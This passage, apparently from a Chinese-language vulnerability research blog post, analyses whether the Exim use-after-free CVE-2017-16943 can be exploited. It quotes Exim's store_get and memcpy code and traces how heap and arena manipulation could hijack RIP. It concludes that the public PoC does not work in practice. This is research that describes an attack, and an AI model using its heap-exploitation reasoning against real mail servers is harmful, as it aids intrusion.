class="pun">;</span></code></li><li class="L1"><code><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol> |
这里就是该漏洞的关键利用点
首先:newblock = current_block = heap1
然后:newblock = newblock->next
我猜测的meh的情况和我加了printf
进行测试的情况是一样的,在printf
中需要malloc一块堆用来当做缓冲区,所以在heap1下面又多了一块堆,在free了heap1后,heap1被放入了unsortbin,fd和bk指向了arena
所以这个时候,heap1->next = fd = arena_top
之后的流程就是:
- current_block = arena_top
- next_yield = arena_top+0x10
- return next_yield = arena_top+0x10
- next_yield = arena_top+0x2010
在执行完store_get
后就是执行memcpy
:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li></ol> |
上面的newtext
就是store_get
返回的值arena_top+0x10
把用户输入的数据copy到了arena中,最后达到了控制RIP=0xdeadbeef
造成crash的效果
但是实际情况就不一样了,因为没有printf,所以heap1是最后一块堆,再free之后,就会合并到top_chunk中,fd和bk字段不会被修改,在释放前,这两个字段也是用来储存storeblock结构体的next和length,所以也是没法控制的
总结
CVE-2017-16943的确是一个UAF漏洞,但是在我的研究中却发现没法利用meh提供的PoC造成crash的效果
之后我也尝试其他利用方法,但是却没找到合适的利用链
发现由于Exim自己实现了一个堆管理,所以在heap1之后利用store_get
再malloc一块堆是不行的因为current_block也会被修改为指向最新的堆块,所以必须要能在不使用store_get
的情况下,malloc一块堆,才能成功利用控制RIP,因为exim自己实现了堆管理,所以都是使用store_get
来获取内存,这样就只能找printf
这种有自己使用malloc的函数,但是我找到的这些函数再调用后都会退出receive_msg
函数的循环,所以没办法构造成一个利用链